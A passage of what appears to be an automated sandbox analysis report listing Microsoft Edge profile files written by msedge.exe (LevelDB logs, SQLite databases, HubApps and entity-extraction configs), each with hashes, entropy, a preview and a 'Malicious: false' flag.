File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.199289245545355
Encrypted:	false
SSDEEP:	6:HKZkuQ+q2P923oH+TcwtnG2tMsIFUt8YKZjgZmw+YKZQQVkwO923oH+TcwtnG2tF:qLQ+v4Yebn9GFUt8Rlg/+RCQV5LYebnB
MD5:	14B20DAD9B6FD7998288B913E51D1CAC
SHA1:	B965569DF08A21B38FA51997FDA7F1BD6C07BC66
SHA-256:	F8C11452F16FC327AE630436B3B2885924619F372853D1AE1EDB8342D8803682
SHA-512:	25DD92FDBE34E6D42FFE28C255B5A76FEB721484D3727DB476899B186A974E9F6233D0511340B1E70891B9DC6D306BCBF75261992ABC6D7B2DAD3EF3051B3A04
Malicious:	false
Preview:	2024/11/26-04:09:17.369 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/26-04:09:17.370 c2c Recovering log #3.2024/11/26-04:09:17.371 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.199289245545355
Encrypted:	false
SSDEEP:	6:HKZkuQ+q2P923oH+TcwtnG2tMsIFUt8YKZjgZmw+YKZQQVkwO923oH+TcwtnG2tF:qLQ+v4Yebn9GFUt8Rlg/+RCQV5LYebnB
MD5:	14B20DAD9B6FD7998288B913E51D1CAC
SHA1:	B965569DF08A21B38FA51997FDA7F1BD6C07BC66
SHA-256:	F8C11452F16FC327AE630436B3B2885924619F372853D1AE1EDB8342D8803682
SHA-512:	25DD92FDBE34E6D42FFE28C255B5A76FEB721484D3727DB476899B186A974E9F6233D0511340B1E70891B9DC6D306BCBF75261992ABC6D7B2DAD3EF3051B3A04
Malicious:	false
Preview:	2024/11/26-04:09:17.369 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/26-04:09:17.370 c2c Recovering log #3.2024/11/26-04:09:17.371 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6130654258345929
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jxLpj9l4mL:TO8D4jJ/6Up+9z
MD5:	5AB34832B0F23DE871931AC2317D3FBF
SHA1:	1D3D28D03D2801283DF5B21E70180E5032D43D3F
SHA-256:	497B58DE20962C52A4BB29CFDDB89FBED5066C81957431A9D23D67B77C15C215
SHA-512:	972B3CDCF5C60C84C8D1C5C28A7F14DCA96A6775317CFD9E5F3274BF0430F75AF765BF8D0573B8CBA366F6DE4436788E7DD7681ED49393A17F51010C9EC6EB88
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354130506358613
Encrypted:	false
SSDEEP:	6144:DA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:DFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	718EFC53708AB91D55E662C7D04EBAF3
SHA1:	EAA34FE380B92251FFB9296459CBF26F51796909
SHA-256:	CD2AB94615836B469346023A9DEF2C5381A0BFC70D13210AECD8F3600F43410F
SHA-512:	0168064EE136D3968063E7A13C68583F31C5DA52B677B8385172217786F138BF072EE63C78287C695848C0E63E1371083DD5F69449ABFA86CDC9F3E0BA3B516F
Malicious:	false
Preview:	...m.................DB_VERSION.1.\|..q...............&QUERY_TIMESTAMP:domains_config_gz2...13377085766283176..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.139902400632347
Encrypted:	false
SSDEEP:	6:HKYLM1923oH+Tcwtk2WwnvB2KLlVKQpq2P923oH+Tcwtk2WwnvIFUv:qYLhYebkxwnvFLyQpv4YebkxwnQFUv
MD5:	E844EEF041ABA308F4520C5947600EE9
SHA1:	775E985DD0A65E97B0BCCA19F2C3322B9208D428
SHA-256:	82660651B240D589FC9D971C25FDE5C17346F43414AC8C6223BD7671D129F256
SHA-512:	8D53204941219734573DEB73D1716BA6124E801049B162489B958234ED488283D81A5EBACBFA67B3E9B56705CF5A23F66E18A69D4BB2CCF439CB4088F3A68E7A
Malicious:	false
Preview:	2024/11/26-04:09:22.327 20a4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/26-04:09:22.363 20a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.32461844762039
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R1:C1gAg1zfvN
MD5:	E3D94C1210229B247CFA8F5FBA4BB891
SHA1:	5BCC96212D815B252EBEBC7D0AEEB9414293C673
SHA-256:	C1F35AE2340E0CE172A06136D0CEC2703B564861EF09BB6425C693540557D043
SHA-512:	29FF771AB8824053DFFD64C200515F5BDFF1465CE6E79082CAECFF3B4E83F94B9BB1CFE1CC379EA1BC4459A00B8CB566DBB6C44FA9E1E01C2B5C61F5C4C02F36
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.129862747021423
Encrypted:	false
SSDEEP:	6:HKZkH5q2P923oH+Tcwt8aPrqIFUt8YKZCXZmw+YKZCFkwO923oH+Tcwt8amLJ:quH5v4YebL3FUt8R0/+R05LYebQJ
MD5:	FFBC5D849A61EE6C2C316747E3F2FFFE
SHA1:	DE2946D87DD424320F11DB233A03B96B9F1D6EDD
SHA-256:	638B71CEBA974EEB89D849CC47E07151C19338959BF843442C54C26FBC634D81
SHA-512:	28C74CD4487BB40C1CC5E2CC2B85F51327FCD68FEC97187F7C60B57828DA7A95FA7849884E3357659B0BFF2FB37385FF15265577E9168E177E9475A842086352
Malicious:	false
Preview:	2024/11/26-04:09:17.408 e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/26-04:09:17.410 e44 Recovering log #3.2024/11/26-04:09:17.410 e44 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.129862747021423
Encrypted:	false
SSDEEP:	6:HKZkH5q2P923oH+Tcwt8aPrqIFUt8YKZCXZmw+YKZCFkwO923oH+Tcwt8amLJ:quH5v4YebL3FUt8R0/+R05LYebQJ
MD5:	FFBC5D849A61EE6C2C316747E3F2FFFE
SHA1:	DE2946D87DD424320F11DB233A03B96B9F1D6EDD
SHA-256:	638B71CEBA974EEB89D849CC47E07151C19338959BF843442C54C26FBC634D81
SHA-512:	28C74CD4487BB40C1CC5E2CC2B85F51327FCD68FEC97187F7C60B57828DA7A95FA7849884E3357659B0BFF2FB37385FF15265577E9168E177E9475A842086352
Malicious:	false
Preview:	2024/11/26-04:09:17.408 e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/26-04:09:17.410 e44 Recovering log #3.2024/11/26-04:09:17.410 e44 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.174621378313617
Encrypted:	false
SSDEEP:	6:HKZmqq2P923oH+Tcwt865IFUt8YKZz0RXZmw+YKZPFkwO923oH+Tcwt86+ULJ:qXv4Yeb/WFUt8RZE/+RD5LYeb/+SJ
MD5:	EF1B81798BEC3EED765F7E6831F3C372
SHA1:	07F77AFDA5B6AF8E940FA0BA059D7B43075384C4
SHA-256:	FBDF3D4FDC8E8ABFECA5F6847382BBD4378BD32B431DC2137EEC4DF33DA99DD3
SHA-512:	1A1F4DBED423CC4093E4756CF502B857D6EAC39FF5FBAD445E439CD3CB7FF414E93257EB2BDBF006B59C5A233CF98DE749A3A65777905CEAC757B4B61ECAADDF
Malicious:	false
Preview:	2024/11/26-04:09:17.423 e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/26-04:09:17.452 e44 Recovering log #3.2024/11/26-04:09:17.459 e44 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.174621378313617
Encrypted:	false
SSDEEP:	6:HKZmqq2P923oH+Tcwt865IFUt8YKZz0RXZmw+YKZPFkwO923oH+Tcwt86+ULJ:qXv4Yeb/WFUt8RZE/+RD5LYeb/+SJ
MD5:	EF1B81798BEC3EED765F7E6831F3C372
SHA1:	07F77AFDA5B6AF8E940FA0BA059D7B43075384C4
SHA-256:	FBDF3D4FDC8E8ABFECA5F6847382BBD4378BD32B431DC2137EEC4DF33DA99DD3
SHA-512:	1A1F4DBED423CC4093E4756CF502B857D6EAC39FF5FBAD445E439CD3CB7FF414E93257EB2BDBF006B59C5A233CF98DE749A3A65777905CEAC757B4B61ECAADDF
Malicious:	false
Preview:	2024/11/26-04:09:17.423 e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/26-04:09:17.452 e44 Recovering log #3.2024/11/26-04:09:17.459 e44 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137710063536851
Encrypted:	false
SSDEEP:	6:HKZTjIq2P923oH+Tcwt8NIFUt8YKZ2Zmw+YKZKkwO923oH+Tcwt8+eLJ:quv4YebpFUt8Rc/+Rc5LYebqJ
MD5:	A16603D152F42696C2CCB2A306D2330C
SHA1:	AEA630F34594C907F2CBA0F9CB61F88B1B7D057E
SHA-256:	F22250C7A0894A7C8736F0626AB0D70A2DCDF467673A0E2ECCE44EAFE8BDE4C6
SHA-512:	419A8B55B1AE3D9525CA063CAE74923F82003DA660266DEF9C0FCD1AD0AF51BDC72DA04B4D79A0D35D7D848F8E797F3716BFD0549961307B5381DD7AA1D07BBB
Malicious:	false
Preview:	2024/11/26-04:09:18.462 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/26-04:09:18.463 1ef0 Recovering log #3.2024/11/26-04:09:18.463 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137710063536851
Encrypted:	false
SSDEEP:	6:HKZTjIq2P923oH+Tcwt8NIFUt8YKZ2Zmw+YKZKkwO923oH+Tcwt8+eLJ:quv4YebpFUt8Rc/+Rc5LYebqJ
MD5:	A16603D152F42696C2CCB2A306D2330C
SHA1:	AEA630F34594C907F2CBA0F9CB61F88B1B7D057E
SHA-256:	F22250C7A0894A7C8736F0626AB0D70A2DCDF467673A0E2ECCE44EAFE8BDE4C6
SHA-512:	419A8B55B1AE3D9525CA063CAE74923F82003DA660266DEF9C0FCD1AD0AF51BDC72DA04B4D79A0D35D7D848F8E797F3716BFD0549961307B5381DD7AA1D07BBB
Malicious:	false
Preview:	2024/11/26-04:09:18.462 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/26-04:09:18.463 1ef0 Recovering log #3.2024/11/26-04:09:18.463 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21917635620654863
Encrypted:	false
SSDEEP:	3:IhLl9tFlljq7A/mhWJFuQ3yy7IOWUm9otdweytllrE9SFcTp4AGbNCV9RUI5:J75fO4Ktd0Xi99pEYH
MD5:	052969393474136442402A777B25530B
SHA1:	A429D36F21E1306B3D770A279F36A9E6A5D3426C
SHA-256:	C32DDB55CA39A77C9FF276F9951BA896DA2929F4D9354D9318AAEBDF877773F3
SHA-512:	1B156F70D1D6BD54B6962560E34D3479503674C521B5A6D7E4A4ED4E5ED125B4D7E073993676B9862D2A1C742D48880395A1CDF59E583FB7147D89C5E5D9F85F
Malicious:	false
Preview:	............GFx^...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.9188855765067245
Encrypted:	false
SSDEEP:	384:jj9P0/EcAjlrP/KbtpQkQervhw773pLbRKToaA4gam6Ic:jd+KlrP/se2vO7tRKcrM
MD5:	AC3F86784A6DAA8DB17B9142E4E09168
SHA1:	6C8175D07420FEF5D27EB4A56B4263A2B9B1097C
SHA-256:	9D71A8A76D676D1C9E6C513BB30CFD2C48A3A3D7631BE4CE676B18FAB3B245C0
SHA-512:	C47E624F201F65F26915A98F1B619BE8F95531A28D19F75F36EAB4DBD3831F7AF3CEA99877F3BA755CD0DE6D2EA74146BE72471C4B5250DDB7E56444D4A5AD07
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
